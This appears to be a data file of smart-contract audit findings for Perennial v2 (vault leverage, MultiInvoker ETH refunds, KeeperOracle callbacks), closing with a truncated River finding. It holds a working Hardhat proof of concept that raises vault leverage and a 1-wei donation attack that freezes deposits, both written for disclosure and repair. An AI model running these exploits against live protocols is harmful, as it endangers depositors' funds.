+{"title":"Vault leverage can be increased to any value up to min margin requirement due to incorrect `maxRedeem` calculations with closable and `LEVERAGE_BUFFER`","body":"Bouncy Corduroy Chimpanzee\n\nhigh\n\n# Vault leverage can be increased to any value up to min margin requirement due to incorrect `maxRedeem` calculations with closable and `LEVERAGE_BUFFER`\n\n## Summary\n\nWhen redeeming from the vault, maximum amount allowed to be redeemed is limited by collateral required to keep the minimum vault position size which will remain open due to different factors, including `closable` value, which is a limitation on how much position can be closed given current pending positions. However, when calclulating max redeemable amount, `closable` value is multiplied by `LEVERAGE_BUFFER` value (currently 1.2):\n```solidity\nUFixed6 collateral = marketContext.currentPosition.maker\n .sub(marketContext.currentPosition.net().min(marketContext.currentPosition.maker)) // available maker\n .min(marketContext.closable.mul(StrategyLib.LEVERAGE_BUFFER)) // available closable\n .muldiv(marketContext.latestPrice.abs(), registration.leverage) // available collateral\n .muldiv(totalWeight, registration.weight); // collateral in market\n```\n\nThe intention seems to be to allow to withdraw a bit more collateral so that leverage can increase at max by LEVERAGE_BUFFER. However, the math is totally wrong here, for example:\n- Current position = 12, `closable = 10`\n- Max amount allowed to be redeemed is 12 (100% of shares)\n- However, when all shares are withdrawn, `closable = 10` prevents full position closure, so position will remain at 12-10 = 2\n- Once settled, user can claim all vault collateral while vault still has position of size 2 open. Claiming all collateral will revert due to this line in `allocate`:\n```solidity\n_locals.marketCollateral = strategy.marketContexts[marketId].margin\n .add(collateral.sub(_locals.totalMargin).muldiv(registrations[marketId].weight, _locals.totalWeight));\n```\n\nSo the user can claim the assets only if remaining collateral is equal to or is greater than total margin of all markets. This means that user can put the vault into max leverage possible ignoring the vault leverage config (vault will have open position of such size, which will make all vault collateral equal the minimum margin requirement to open such position). This creates a big risk for vault liquidation and loss of funds for vault depositors.\n\n## Vulnerability Detail\n\nAs seen from the example above, it's possible to put the vault at high leverage only if user redeems amount higher than `closable` allows (redeem amount in the `closable`..`closable * LEVERAGE_BUFFER` range). However, since deposits and redeems from the vault are settled later, it's impossible to directly create such situation (redeemable amount > closable). There is still a way to create such situation indirectly via maker limit limitation.\n\nScenario:\n1. Market config leverage = 4. Existing deposits = $1K. Existing positions in underlying market are worth $4K\n2. Open maker position in underlying markets such that `makerLimit - currentMaker = $36K`\n3. Deposit $11K to the vault (total deposits = $12K). The vault will try to open position of size = $48K (+$44K), however `makerLimit` will not allow to open full position, so the vault will only open +$36K (total position $40K)\n4. Wait until the deposit settles\n5. Close maker position in underlying markets to free up maker limit\n6. Deposit minimum amount to the vault from another user. This increases vault positions to $48K (settled = $40K, pending = $48K, closable = $40K)\n7. Redeem $11K from the vault. This is possible, because maxRedeem is `closable/leverage*LEVERAGE_BUFFER` = `$40K/4*1.2` = `$12K`. However, the position will be limited by `closable`, so it will be reduced only by $40K (set to $8K).\n8. Wait until redeem settles\n9. Claim $11K from the vault. This leaves the vault with the latest position = $8K, but only with $1K of original deposit, meaning vault leverage is now 8 - twice the value specified by config (4).\n\nThis scenario will keep high vault leverage only for a short time until next oracle version, because `claim` will reduce position back to $4K, however this position reduction can also be avoided, for example, by opening/closing positions to make `long-short = maker` or `short-long = maker` in the underlying market(s), thus disallowing the vault to reduce its maker position and keeping the high leverage.\n\n## Impact\n\nMalicious user can put the vault at very high leverage, breaking important protocol invariant (leverage not exceeding target market leverage) and exposing the users to much higher potential funds loss / risk from the price movement due to high leverage and very high risk of vault liquidation, causing additional loss of funds from liquidation penalties and position re-opening fees.\n\n## Proof of concept\n\nThe scenario above is demonstrated in the test, add this to `Vault.test.ts`:\n```ts\nit('increase vault leverage', async () => {\n console.log(\"start\");\n\n async function setOracle(latestTime: BigNumber, currentTime: BigNumber) {\n await setOracleEth(latestTime, currentTime)\n await setOracleBtc(latestTime, currentTime)\n }\n\n async function setOracleEth(latestTime: BigNumber, currentTime: BigNumber) {\n const [, currentPrice] = await oracle.latest()\n const newVersion = {\n timestamp: latestTime,\n price: currentPrice,\n valid: true,\n }\n oracle.status.returns([newVersion, currentTime])\n oracle.request.whenCalledWith(user.address).returns()\n oracle.latest.returns(newVersion)\n oracle.current.returns(currentTime)\n oracle.at.whenCalledWith(newVersion.timestamp).returns(newVersion)\n }\n\n async function setOracleBtc(latestTime: BigNumber, currentTime: BigNumber) {\n const [, currentPrice] = await btcOracle.latest()\n const newVersion = {\n timestamp: latestTime,\n price: currentPrice,\n valid: true,\n }\n btcOracle.status.returns([newVersion, currentTime])\n btcOracle.request.whenCalledWith(user.address).returns()\n btcOracle.latest.returns(newVersion)\n btcOracle.current.returns(currentTime)\n btcOracle.at.whenCalledWith(newVersion.timestamp).returns(newVersion)\n }\n\n async function logLeverage() {\n // vault collateral\n var vaultCollateralEth = (await market.locals(vault.address)).collateral\n var vaultCollateralBtc = (await btcMarket.locals(vault.address)).collateral\n var vaultCollateral = vaultCollateralEth.add(vaultCollateralBtc)\n\n // vault position\n var vaultPosEth = (await market.positions(vault.address)).maker;\n var ethPrice = (await oracle.latest()).price;\n var vaultPosEthUsd = vaultPosEth.mul(ethPrice);\n var vaultPosBtc = (await btcMarket.positions(vault.address)).maker;\n var btcPrice = (await btcOracle.latest()).price;\n var vaultPosBtcUsd = vaultPosBtc.mul(btcPrice);\n var vaultPos = vaultPosEthUsd.add(vaultPosBtcUsd);\n var leverage = vaultPos.div(vaultCollateral);\n console.log(\"Vault collateral = \" + vaultCollateral.div(1e6) + \" pos = \" + vaultPos.div(1e12) + \" leverage = \" + leverage);\n }\n\n await setOracle(STARTING_TIMESTAMP.add(3600), STARTING_TIMESTAMP.add(3700))\n await vault.settle(user.address);\n\n // put markets at the (limit - 5000) each\n var makerLimit = (await market.riskParameter()).makerLimit;\n var makerCurrent = (await market.position()).maker;\n var maker = makerLimit;\n var ethPrice = (await oracle.latest()).price;\n var availUsd = parse6decimal('32000'); // 10/2 * 4\n var availToken = availUsd.mul(1e6).div(ethPrice);\n maker = maker.sub(availToken);\n var makerBefore = makerCurrent;// (await market.positions(user.address)).maker;\n console.log(\"ETH Limit = \" + makerLimit + \" CurrentGlobal = \" + makerCurrent + \" CurrentUser = \" + makerBefore + \" price = \" + ethPrice + \" availToken = \" + availToken + \" maker = \" + maker);\n for (var i = 0; i < 5; i++)\n await fundWallet(asset, user);\n await market.connect(user).update(user.address, maker, 0, 0, parse6decimal('1000000'), false)\n\n var makerLimit = (await btcMarket.riskParameter()).makerLimit;\n var makerCurrent = (await btcMarket.position()).maker;\n var maker = makerLimit;\n var btcPrice = (await btcOracle.latest()).price;\n var availUsd = parse6decimal('8000'); // 10/2 * 4\n var availToken = availUsd.mul(1e6).div(btcPrice);\n maker = maker.sub(availToken);\n var makerBeforeBtc = makerCurrent;// (await market.positions(user.address)).maker;\n console.log(\"BTC Limit = \" + makerLimit + \" CurrentGlobal = \" + makerCurrent + \" CurrentUser = \" + makerBeforeBtc + \" price = \" + btcPrice + \" availToken = \" + availToken + \" maker = \" + maker);\n for (var i = 0; i < 10; i++)\n await fundWallet(asset, btcUser1);\n await btcMarket.connect(btcUser1).update(btcUser1.address, maker, 0, 0, parse6decimal('2000000'), false)\n\n console.log(\"market updated\");\n\n var deposit = parse6decimal('12000')\n await vault.connect(user).update(user.address, deposit, 0, 0)\n\n await setOracle(STARTING_TIMESTAMP.add(3700), STARTING_TIMESTAMP.add(3800))\n await vault.settle(user.address)\n\n await logLeverage();\n\n // withdraw the blocking amount\n console.log(\"reduce maker blocking position to allow vault maker increase\")\n await market.connect(user).update(user.address, makerBefore, 0, 0, 0, false);\n await btcMarket.connect(btcUser1).update(btcUser1.address, makerBeforeBtc, 0, 0, 0, false);\n\n await setOracle(STARTING_TIMESTAMP.add(3800), STARTING_TIMESTAMP.add(3900))\n\n // refresh vault to increase position size since it's not held now\n var deposit = parse6decimal('10')\n console.log(\"Deposit small amount to increase position\")\n await vault.connect(user2).update(user2.address, deposit, 0, 0)\n\n // now redeem 11000 (which is allowed, but market position will be 2000 due to closable)\n var redeem = parse6decimal('11500')\n console.log(\"Redeeming 11500\")\n await vault.connect(user).update(user.address, 0, redeem, 0);\n\n // settle all changes\n await setOracle(STARTING_TIMESTAMP.add(3900), STARTING_TIMESTAMP.add(4000))\n await vault.settle(user.address)\n await logLeverage();\n\n // claim those assets we've withdrawn\n var claim = parse6decimal('11100')\n console.log(\"Claiming 11100\")\n await vault.connect(user).update(user.address, 0, 0, claim);\n\n await logLeverage();\n})\n```\n\nConsole log from execution of the code above:\n```solidity\nstart\nETH Limit = 1000000000 CurrentGlobal = 200000000 CurrentUser = 200000000 price = 2620237388 availToken = 12212633 maker = 987787367\nBTC Limit = 100000000 CurrentGlobal = 20000000 CurrentUser = 20000000 price = 38838362695 availToken = 205981 maker = 99794019\nmarket updated\nVault collateral = 12000 pos = 39999 leverage = 3333330\nreduce maker blocking position to allow vault maker increase\nDeposit small amount to increase position\nRedeeming 11500\nVault collateral = 12010 pos = 8040 leverage = 669444\nClaiming 11100\nVault collateral = 910 pos = 8040 leverage = 8835153\n```\n\n## Code Snippet\n\n`maxRedeem` limits redeem amount by `closable * LEVERAGE_BUFFER`:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/lib/StrategyLib.sol#L94-L98\n\n`_positionLimit` calculates minimum possible position by reducing current position by max of `closable`:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/lib/StrategyLib.sol#L219-L224\n\nThe difference in these values allows to keep high position while withdrawing more collateral than needed to target leverage.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe formula to allow LEVERAGE_BUFFER should apply it to **final** position size, not to **delta** position size (`maxRedeem` returns delta to subtract from current position). Currently redeem amount it limited by: `closable * LEVERAGE_BUFFER`. Once subtracted from the current position size, we obtain:\n\n- `maxRedeem = closable * LEVERAGE_BUFFER / leverage`\n- `newPosition = currentPosition - closable`\n- `newCollateral = (currentPosition - closable * LEVERAGE_BUFFER) / leverage`\n- `newLeverage = newPosition / newCollateral = leverage * (currentPosition - closable) / (currentPosition - closable * LEVERAGE_BUFFER)`\n- `= leverage / (1 - (LEVERAGE_BUFFER - 1) * closable / (currentPosition - closable))`\n\nAs can be seen, the new leverage can be any amount and the formula doesn't make much sense, it certainly doesn't limit new leverage factor to LEVERAGE_BUFFER (denominator can be 0, negative or any small value, meaning leverage can be any number as high as you want). I think what developers wanted, is to have:\n- `newPosition = currentPosition - closable`\n- `newCollateral = newPosition / (leverage * LEVERAGE_BUFFER)`\n- `newLeverage = newPosition / (newPosition / (leverage * LEVERAGE_BUFFER)) = leverage * LEVERAGE_BUFFER`\n\nNow, the important part to understand is that it's impossible to calculate delta collateral simply from delta position like it is now. When we know target newPosition, we can calculate target newCollateral, and then maxRedeem (delta collateral) can be calculated as `currentCollateral - newCollateral`:\n- `maxRedeem = currentCollateral - newCollateral`\n- `maxRedeem = currentCollateral - newPosition / (leverage * LEVERAGE_BUFFER)`\n\nSo the fixed collateral calculation can be something like that:\n\n```solidity\nUFixed6 deltaPosition = marketContext.currentPosition.maker\n .sub(marketContext.currentPosition.net().min(marketContext.currentPosition.maker)) // available maker\n .min(marketContext.closable);\nUFixed6 targetPosition = marketContext.currentAccountPosition.maker.sub(deltaPosition); // expected ideal position\nUFixed6 targetCollateral = targetPosition.muldiv(marketContext.latestPrice.abs(), \n registration.leverage.mul(StrategyLib.LEVERAGE_BUFFER)); // allow leverage to be higher by LEVERAGE_BUFFER\nUFixed6 collateral = marketContext.local.collateral.sub(targetCollateral) // delta collateral\n .muldiv(totalWeight, registration.weight); // market collateral => vault collateral\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//003/007.md"}}
+{"title":"Transaction to MultiInvoker.invoke(...) function can revert due to address.transfer() function","body":"Tricky Fern Marmot\n\nmedium\n\n# Transaction to MultiInvoker.invoke(...) function can revert due to address.transfer() function\n\n## Summary\nThe MultiInvoker.invoke(...) uses payable(address).transfer() function to transfer ETH which can revert if the receiving smart contract uses up more than 2300 gas.\n\n\n## Vulnerability Detail\nThe MultiInvoker.invoke(...) users address.transfer function which could revert.\n\n```solidity\nfunction invoke(Invocation[] calldata invocations) external payable {\n...\n// Eth must not remain in this contract at rest\n payable(msg.sender).transfer(address(this).balance);//@audit\n...\n}\n```\n\n## Impact\ncall to `MultiInvoker.invoke(...)` can revert for some contracts. Some multisig's receive function uses up more than 2300 gas that is passed along with `address.transfer()` function\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L166\n\n## Tool used\nManual Review\n\n## Recommendation\nuse `address.call` function instead of `address.transfer` to send ETH.\n\n```diff\nfunction invoke(Invocation[] calldata invocations) external payable {\n...\n// Eth must not remain in this contract at rest\n-- payable(msg.sender).transfer(address(this).balance);\n++ payable(msg.sender).call{value: address(this).balance}(\"\");\n...\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//002/056.md"}}
+{"title":"invoke() contracts that do not accept eth cannot execute","body":"Vast Glossy Tapir\n\nmedium\n\n# invoke() contracts that do not accept eth cannot execute\n\n## Summary\n\nin `MultiInvoker.invoke()` performs `transfer()` to return the remaining `eth` in the contract, regardless of whether the caller passes `value` or not.\nThis will result in contract users who cannot accept `eth` being unable to execute `invoke()`.\n\n## Vulnerability Detail\nin MultiInvoker.invoke()\nIf user pays `value` and any eth left after invocations are executed, we should return the eth to the user to avoid eth remaining in the contract.\nThe code is as follows\n\n```solidity\n function invoke(Invocation[] calldata invocations) external payable {\n for(uint i = 0; i < invocations.length; ++i) {\n Invocation memory invocation = invocations[i];\n.......\n } else if (invocation.action == PerennialAction.COMMIT_PRICE) {\n (address oracleProviderFactory, uint256 value, bytes32[] memory ids, uint256 version, bytes memory data, bool revertOnFailure) =\n abi.decode(invocation.args, (address, uint256, bytes32[], uint256, bytes, bool));\n\n _commitPrice(oracleProviderFactory, value, ids, version, data, revertOnFailure);\n } else if (invocation.action == PerennialAction.LIQUIDATE) {\n (IMarket market, address account, bool revertOnFailure) = abi.decode(invocation.args, (IMarket, address, bool));\n\n _liquidate(market, account, revertOnFailure);\n } else if (invocation.action == PerennialAction.APPROVE) {\n (address target) = abi.decode(invocation.args, (address));\n\n _approve(target);\n }\n\n // Eth must not remain in this contract at rest\n@> payable(msg.sender).transfer(address(this).balance);\n }\n }\n```\nAs we can see from the code above, The `transfer()` will be executed regardless of whether the user passes in a `value` or not.\nThis will result the contract users cannot accept `eth` always `revert `\n\nFor example, if I am a third party and I write a contract to execute another user's order or to perform liquidate logic, I get what should be `DSU`\nI don't need to accept `eth`, so I don't implement `receive()`, this contract doesn't accept `eth`.\n\nBut since `invoke()` always calls `transfer()`, it will cause this type of contract to revert when calling `transfer()`\n\n## Impact\n\ncontract users who cannot accept `eth` to be unable to execute `invoke()`.\n\n## Code Snippet\n\n\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L166\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n function invoke(Invocation[] calldata invocations) external payable {\n for(uint i = 0; i < invocations.length; ++i) {\n Invocation memory invocation = invocations[i];\n.......\n } else if (invocation.action == PerennialAction.COMMIT_PRICE) {\n (address oracleProviderFactory, uint256 value, bytes32[] memory ids, uint256 version, bytes memory data, bool revertOnFailure) =\n abi.decode(invocation.args, (address, uint256, bytes32[], uint256, bytes, bool));\n\n _commitPrice(oracleProviderFactory, value, ids, version, data, revertOnFailure);\n } else if (invocation.action == PerennialAction.LIQUIDATE) {\n (IMarket market, address account, bool revertOnFailure) = abi.decode(invocation.args, (IMarket, address, bool));\n\n _liquidate(market, account, revertOnFailure);\n } else if (invocation.action == PerennialAction.APPROVE) {\n (address target) = abi.decode(invocation.args, (address));\n\n _approve(target);\n }\n\n // Eth must not remain in this contract at rest\n- payable(msg.sender).transfer(address(this).balance);\n+ if(msg.value>0 && address(this).balance>0 ) payable(msg.sender).transfer(address(this).balance);\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//002/038.md"}}
+{"title":"invoke() early return eth","body":"Vast Glossy Tapir\n\nmedium\n\n# invoke() early return eth\n\n## Summary\nIn `MultiInvoker.invoke()`, the return of the remaining `eth` is incorrectly placed inside the loop, resulting in the return of the remaining `eth` after the first `action`.\nThis results in the second and subsequent `actions` that need to use `eth`, there will be no `eth` available, and `invoke()` will `revert`\n\n## Vulnerability Detail\nin `MultiInvoker.invoke()`\nIf there is any `eth` left after `invocations` is executed, we should return the `eth` to the user to avoid `eth` remaining in the contract.\nThe code is as follows\n```solidity\n function invoke(Invocation[] calldata invocations) external payable {\n for(uint i = 0; i < invocations.length; ++i) {\n Invocation memory invocation = invocations[i];\n.......\n } else if (invocation.action == PerennialAction.COMMIT_PRICE) {\n (address oracleProviderFactory, uint256 value, bytes32[] memory ids, uint256 version, bytes memory data, bool revertOnFailure) =\n abi.decode(invocation.args, (address, uint256, bytes32[], uint256, bytes, bool));\n\n _commitPrice(oracleProviderFactory, value, ids, version, data, revertOnFailure);\n } else if (invocation.action == PerennialAction.LIQUIDATE) {\n (IMarket market, address account, bool revertOnFailure) = abi.decode(invocation.args, (IMarket, address, bool));\n\n _liquidate(market, account, revertOnFailure);\n } else if (invocation.action == PerennialAction.APPROVE) {\n (address target) = abi.decode(invocation.args, (address));\n\n _approve(target);\n }\n\n // Eth must not remain in this contract at rest\n@> payable(msg.sender).transfer(address(this).balance);\n }\n }\n```\n\nAs we can see from the code above, the current implementation of returning `eth` is placed inside the loop. \nThis way the first `action` is executed and then the `eth` is returned.\nIf the `action` that requires `eth`, such as `PerennialAction.COMMIT_PRICE`, is the second `action`, by the time it's ready to be executed, but all the `eth` have already been returned, which will cause this `action` to fail to execute.\n\n## Impact\n\nEarly return of `eth` will result in `actions` requiring `eth` after the first `action` not being executed.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L166\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n function invoke(Invocation[] calldata invocations) external payable {\n for(uint i = 0; i < invocations.length; ++i) {\n Invocation memory invocation = invocations[i];\n...\n } else if (invocation.action == PerennialAction.APPROVE) {\n (address target) = abi.decode(invocation.args, (address));\n\n _approve(target);\n }\n\n // Eth must not remain in this contract at rest\n- payable(msg.sender).transfer(address(this).balance);\n }\n+ payable(msg.sender).transfer(address(this).balance);\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//002/037.md"}}
+{"title":"KeeperOracle callbacks only can set first market and user","body":"Vast Glossy Tapir\n\nmedium\n\n# KeeperOracle callbacks only can set first market and user\n\n## Summary\nin `KeeperOracle.request(market,account)`\nIf the current timestamp has already requested `market`, the method will return directly. \nThis leads to subsequent different `market`, `account` requests within the same timestamp not being recorded in `_globalCallbacks` and `_localCallbacks`. \nAs a result, subsequent `commit()` and `settle()` have no way to callback these `market` and `account`. \nIn reality, only one `market` and`user` can be called back at the same timestamp.\n\n## Vulnerability Detail\nin `KeeperOracle.request()`, This method will perform the following operations:\n1. ++_global.currentIndex\n2. versions[_global.currentIndex] = currentTimestamp\n3. _globalCallbacks[currentTimestamp].add(address(market));\n4. _localCallbacks[currentTimestamp][market].add(account);\n\nThe `_globalCallbacks` and `_localCallbacks` settings will trigger callbacks in `commit()` and `settle()`.\n\nThe code is as follows:\n```solidity\n function request(IMarket market, address account) external onlyAuthorized {\n uint256 currentTimestamp = current();\n@> if (versions[_global.currentIndex] == currentTimestamp) return;\n\n versions[++_global.currentIndex] = currentTimestamp;\n emit OracleProviderVersionRequested(currentTimestamp);\n\n _globalCallbacks[currentTimestamp].add(address(market));\n _localCallbacks[currentTimestamp][market].add(account);\n emit CallbackRequested(SettlementCallback(market, account, currentTimestamp));\n }\n```\n\nFrom the above code, we can see that if the current timestamp has already been requested, it will return directly, and the subsequent `_globalCallbacks` and `_localCallbacks` settings will not be executed.\n\nHowever, the problem is that `KeeperOracle` does not only serve one market and one user. If different markets or the same market and different users execute `request()` in the same timestamp, `_globalCallbacks` and `_localCallbacks` should be recorded for subsequent callbacks.\n\n## Impact\n\nAt the same timestamp, for the markets and users that execute `request()`, except for first one that will be called back, the others will not be called back.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L77\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n function request(IMarket market, address account) external onlyAuthorized {\n uint256 currentTimestamp = current();\n- if (versions[_global.currentIndex] == currentTimestamp) return;\n\n- versions[++_global.currentIndex] = currentTimestamp;\n+ if (versions[_global.currentIndex] != currentTimestamp) {\n+ versions[++_global.currentIndex] = currentTimestamp;\n+ emit OracleProviderVersionRequested(currentTimestamp);\n+ }\n\n _globalCallbacks[currentTimestamp].add(address(market));\n _localCallbacks[currentTimestamp][market].add(account);\n emit CallbackRequested(SettlementCallback(market, account, currentTimestamp));\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//001/044.md"}}
+{"title":"`KeeperOracle.request` adds only the first pair of market+account addresses per oracle version to callback list, ignoring all the subsequent ones","body":"Bouncy Corduroy Chimpanzee\n\nmedium\n\n# `KeeperOracle.request` adds only the first pair of market+account addresses per oracle version to callback list, ignoring all the subsequent ones\n\n## Summary\n\nThe new feature introduced in 2.1 is the callback called for all markets and market+account pairs which requested the oracle version. These callbacks are called once the corresponding oracle settles. For this reason, `KeeperOracle` keeps a list of markets and market+account pairs per oracle version to call market.update on them:\n```solidity\n/// @dev Mapping from version to a set of registered markets for settlement callback\nmapping(uint256 => EnumerableSet.AddressSet) private _globalCallbacks;\n\n/// @dev Mapping from version and market to a set of registered accounts for settlement callback\nmapping(uint256 => mapping(IMarket => EnumerableSet.AddressSet)) private _localCallbacks;\n```\n\nHowever, currently `KeeperOracle` stores only the market+account from the first request call per oracle version, because if the request was already made, it returns from the function before adding to the list:\n```solidity\nfunction request(IMarket market, address account) external onlyAuthorized {\n uint256 currentTimestamp = current();\n@@@ if (versions[_global.currentIndex] == currentTimestamp) return;\n\n versions[++_global.currentIndex] = currentTimestamp;\n emit OracleProviderVersionRequested(currentTimestamp);\n\n // @audit only the first request per version reaches these lines to add market+account to callback list\n _globalCallbacks[currentTimestamp].add(address(market));\n _localCallbacks[currentTimestamp][market].add(account);\n emit CallbackRequested(SettlementCallback(market, account, currentTimestamp));\n}\n```\n\n## Vulnerability Detail\n\nAccording to docs, the same `KeeperOracle` can be used by multiple markets. And every account requesting in the same oracle version is supposed to be called back (settled) once the oracle version settles.\n\n## Impact\n\nThe new core function of the protocol doesn't work as expected and `KeeperOracle` will fail to call back markets and accounts if there is more than 1 request in the same oracle version (which is very likely).\n\n## Code Snippet\n\n`KeeperOracle.request` will return early if the request for this oracle version was already made:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L77\n\nThe lines to add market+account to callback list will only be reached once per oracle version:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L82-L83\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMove addition to callback list to just before the condition to exit function early:\n```solidity\nfunction request(IMarket market, address account) external onlyAuthorized {\n uint256 currentTimestamp = current();\n _globalCallbacks[currentTimestamp].add(address(market));\n _localCallbacks[currentTimestamp][market].add(account);\n emit CallbackRequested(SettlementCallback(market, account, currentTimestamp));\n if (versions[_global.currentIndex] == currentTimestamp) return;\n\n versions[++_global.currentIndex] = currentTimestamp;\n emit OracleProviderVersionRequested(currentTimestamp);\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//001/025.md"}}
+{"title":"Only one callback per oracle version can be registered in the KeeperOracle callbacks","body":"Melted Tawny Ladybug\n\nmedium\n\n# Only one callback per oracle version can be registered in the KeeperOracle callbacks\n\n## Summary\nCurrently only one callback per oracle version can be registered in the KeeperOracle callbacks. When additional request occurs, then contract doesn't register new callbacks and as result those markets and accounts are not settled by keepers.\n## Vulnerability Detail\nWhen market need new oracle version for the position, then it [requests it from oracle service](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L369).\n\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L75-L85\n```solidity\n function request(IMarket market, address account) external onlyAuthorized {\n uint256 currentTimestamp = current();\n if (versions[_global.currentIndex] == currentTimestamp) return;\n\n\n versions[++_global.currentIndex] = currentTimestamp;\n emit OracleProviderVersionRequested(currentTimestamp);\n\n\n _globalCallbacks[currentTimestamp].add(address(market));\n _localCallbacks[currentTimestamp][market].add(account);\n emit CallbackRequested(SettlementCallback(market, account, currentTimestamp));\n }\n```\nThis function will add market to `_globalCallbacks` and account to the `_localCallbacks`. However, because of `versions[_global.currentIndex] == currentTimestamp` check, function will register callback only for the first requestor. All other requests will do nothing, function will return, so market and accounts will not be registered as callbacks.\n\nWhen price for oracle version is commited, then all markets that are registered as `_globalCallbacks` for that version [are settled](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L123-L124). Also, keepers call `settle` function in order [to settle all registered `_localCallbacks`](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L141-L146) for the oracle version.\n\nBut currently protocol will not work as expected and only 1 market and 1 account will be settled per new oracle version.\n## Impact\nMarkets and accounts will not be settled by keepers as it was designed.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nChange `request` function to this:\n```solidity\nfunction request(IMarket market, address account) external onlyAuthorized {\n uint256 currentTimestamp = current();\n if (versions[_global.currentIndex] != currentTimestamp) {\n versions[++_global.currentIndex] = currentTimestamp;\n emit OracleProviderVersionRequested(currentTimestamp);\n }\n\n _globalCallbacks[currentTimestamp].add(address(market));\n _localCallbacks[currentTimestamp][market].add(account);\n emit CallbackRequested(SettlementCallback(market, account, currentTimestamp));\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//001/020.md"}}
{"title":"**6.1.1 An attacker can freeze all incoming deposits and brick the oracle members' reporting system with","severity":"critical","body":"only** 1 wei\n\n**Severity:** Critical Risk\n\n**Context:** SharesManager.1.sol#L195-L\n\n**Description:** An attacker can brick/lock all deposited user funds and also prevent oracle members to come to a\nquorum when there is an earning to be distributed as rewards. Consider the following scenario:\n\n1. The attacker force sends1 weito theRivercontract using, e.g.,selfdestruct. The attacker has to make\n sure to perform this transaction before any other users deposit their funds in the contract. The attacker can\n look at the mempool and also front-run the initial user deposit. Now theb = _assetBalance() > 0, is at\n least1 wei.\n2. Now an allowed user tries to deposit funds into theRiverprotocol. The call eventually ends up in_-\n mintShares(o, x)and in the 1st lineoldTotalAssetBalance = _assetBalance() - x, _assetBalance()\n represents the updatedRiverbalance after taking into account thexdeposit as well by the user. So_as-\n setBalance()is nowb + x + ...andoldTotalAssetBalance = b + ...where the...includes beacon\n balance sum, deposited amounts for validators in queue, ... (which is probably 0 by now). Therefore,oldTo-\n talAssetBalance > 0means that the followingifblock is skipped:\n\n```\nif (oldTotalAssetBalance == 0) {\n_mintRawShares(_owner, _underlyingAssetValue);\nreturn _underlyingAssetValue;\n}\n```\nAnd goes directly to theelseblock for the 1st allowed user deposit:\n\n```\nelse {\nuint256 sharesToMint = (_underlyingAssetValue * _totalSupply()) / oldTotalAssetBalance;\n_mintRawShares(_owner, sharesToMint);\nreturn sharesToMint;\n}\n```\nBut since shares have not been minted yet_totalSupply() == 0, and thereforesharesToMint == 0. So we\nmint 0 shares for the user and return 0. Note that_assetBalance()keeps increasing, but_totalSupply()or\nShares.get()remains 0.\n\n3. Now the next allowed users deposit funds and just like step 2.Riverwould mint them 0 shares,_assetBal-\n ance()increases but_totalSupply()orShares.get()remains 0.\n\nNote that_totalSupply()orShares.get()remains 0 until the oracle members come to a quorum for the beacon\nbalance sum and number of validators for a voting frame. Then the last oracle member who calls thereport-\nBeaconto trigger the quorum causes a call to_pushToRiverwhich in turn callsriver.setBeaconData. Now in\nsetBeaconDataif we have accumulated interest then_onEarningsis called. The 1st few lines of_onEarningsare:\n\n```\nuint256 currentTotalSupply = _totalSupply();\nif (currentTotalSupply == 0) {\nrevert ZeroMintedShares();\n}\n```\nBut _totalSupply()is still 0 sorevert ZeroMintedShares()is called and the revert bubbles up the stack\nof call toreportBeacon, which means that the last oracle member that can trigger a quorum will have its call\ntoreportBeaconreverted. Therefore, no quorums will ever be made which has some earnings and theRiver\nprotocol will stay 